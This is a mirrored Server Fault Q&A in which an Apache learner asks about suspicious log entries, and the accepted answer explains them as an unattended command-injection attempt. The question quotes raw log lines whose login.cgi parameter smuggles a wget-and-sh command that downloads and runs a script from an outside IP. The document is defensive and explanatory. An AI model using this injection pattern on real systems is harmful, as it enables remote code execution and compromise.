大网数据广告活动
服务器运维问答

Someone just trying to hack me? login.cgi+wget

· 52CE 我爱测

I'm build a new server on Apache , actually I am learning, so I'm trying different things. My security system is already done, but of course I may miss something, or, if not, I do understand that today no one system can protect m…

问题原文

原帖链接 · Robbie KN · CC BY-SA 4.0

I'm build a new server on Apache, actually I am learning, so I'm trying different things. My security system is already done, but of course I may miss something, or, if not, I do understand that today no one system can protect me for 100%. So, why do I think that someone tried me, just because I've recieved in my logs this:

1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"

41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566

There was more. I understand that this someone is getting an error 400 and that's not bad for me. So, in fact my question is not if they try me, because I think it is, because it not seems like a normal request to my site. I want to get an explanation of this request to understand and learn. What they actually trying to do, find my login system and send it to somewere?

P.S. I already know that with wget you can download some website, I also found that login.cgi is a cookie-based Authentication program.

Thank you!

已采纳解答

原帖链接 · anx · CC BY-SA 4.0

Your unwelcome visitor is not trying to hide his attempt to download and run some script on your server.

He may be expecting that, not only you have such login.cgi script in place, it is also not properly handing its input, thus directly executing everything after the apostrophe (%27 in the encoded log). You probably do not have such vulnerable script, but the assumption that the HTTP code 400 always means that you are unaffected is unfounded.

This is most likely an unattended attack, directed at large groups of random targets. One can only speculate what the script that was meant to be downloaded and executed might have contained. It is safe to assume that you will not be able to determine that, because the server delivering the script will typically provide different scripts(+) depending on whether it is assuming the attack was successful so far, or it is being investigated.

It is entirely possible that the code execution was deemed unlikely by the attacker as well, instead he was just gathering information on your system. All internet-facing devices should expect such requests on a regular basis and all scripts on your web server should be written in a way that you will never have to worry about such.

(+) Why would an attacker provide different scripts? To make it harder to investigate post-compromise privilege escalation. The script would likely be lost from memory later, so making sure the victim cannot retrieve the script later makes sense for the attacker. How would the attacker provide different scripts? He would ensure that the web server only replies with the attack payload from the attacked machines IP, very shortly after the attack. As the attack can only either succeed instantaneously or fail, any later retrieval of the script can be attributed to the victims forensics team or security researchers. This is not a new or purely theoretic mechanism, I did - in 2016 - receive differing payloads based on IPs already (one script being empty, the other containing commands to load a 3rd-stage payload).

摘自公开归档,保留原文语言,版式经整理,外部媒体与邮箱地址已移除。

资料来源与适用范围

资料来源
Server Fault
适用范围
以原帖系统、软件版本与发布日期为准(2018-09-02)
内容语言
中文;命令、路径和错误标识保留技术原文
本地收录日期
2026-11-15
授权说明
CC BY-SA 4.0

正文与所需资源由本站本地存储。查看来源及更新记录 ↗

请按适用版本和实际日志确认原因;本站没有对每一种系统或设备逐项执行文中的操作。